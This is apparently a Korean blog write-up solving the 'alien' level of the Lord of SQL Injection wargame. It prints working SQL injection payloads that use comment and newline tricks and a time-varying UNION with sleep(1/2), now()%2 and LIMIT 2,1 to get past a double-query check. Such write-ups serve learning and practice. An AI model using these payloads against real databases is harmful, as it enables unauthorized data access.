write-ups/Lord of SQL Injection

Lord of SQL Injection alien write-up

2020. 3. 11. 12:48

GS칼텍스서울KIXX배구단 레프트 박혜민

 

Exploit point #1

 해당 문제에서는 두 가지의 쿼리의 문법적인 요소를 모두 만족해야 한다. 주석을 이용해서 이 문제의 SQL 문법적 조건을 완성시켰다.

 

query : select id from prob_alien where no='#'#' \nunion select 0x61646D696E#

query2 : select id from prob_alien where no=''#'#' \nunion select 0x61646D696E#'

 

 주석 이후의 쿼리에서는 개행문자(\n)를 통해 escape 할 수 있다는 점을 이용해서 위와 같이 우회할 수 있다.

 

Exploit point #2

 

 

이 부분을 보면 논리적으로 말이 되지 않는 것 같지만 timestamp나 random 같이 event에 따라 결과값을 달리 반환할 수 있는 기능을 사용하게 되면 mysqli_query() 함수가 실행될 때마다 $r['id']가 바뀌어 위의 조건을 만족시킬 수 있다. 

 

query : select id from prob_alien where no='#'#' 
union select sleep(1/2) union select now()%2 union select 0x61646D696E limit 2,1#

query2 : select id from prob_alien where no=''#'#' 
union select sleep(1/2) union select now()%2 union select 0x61646D696E limit 2,1#'

 

 UNION Clause를 사용하여 now()%2의 return value가 0일 때는 sleep(1/2)와 값이 같아서 반환되는 row가 2개 뿐이라 LIMIT 2,1에 의해 아무 값도 반환되지 않는다. now()%2의 return value가 1일 때는 sleep(1/2)와 값이 동일하지 않기 때문에 row가 3개 바환되는데 LIMIT 2,1에 의해 'admin'만 반환한다. 이 점을 이용해서 풀었다.

 

 원래는 sleep(1)를 사용하려고 했었는데 이상하게 계속 안풀려서 의아했었는데, 지금 생각해보니까 prob_alien 에 2개의 row가 있기 때문에 sleep(1)이 두 번 실행되어 총 2초 동안 sleep하게 되고, 이 것 때문에 조건이 맞지 않아서 안풀렸던 것이었다. 그래서 sleep(1/2)를 사용했다.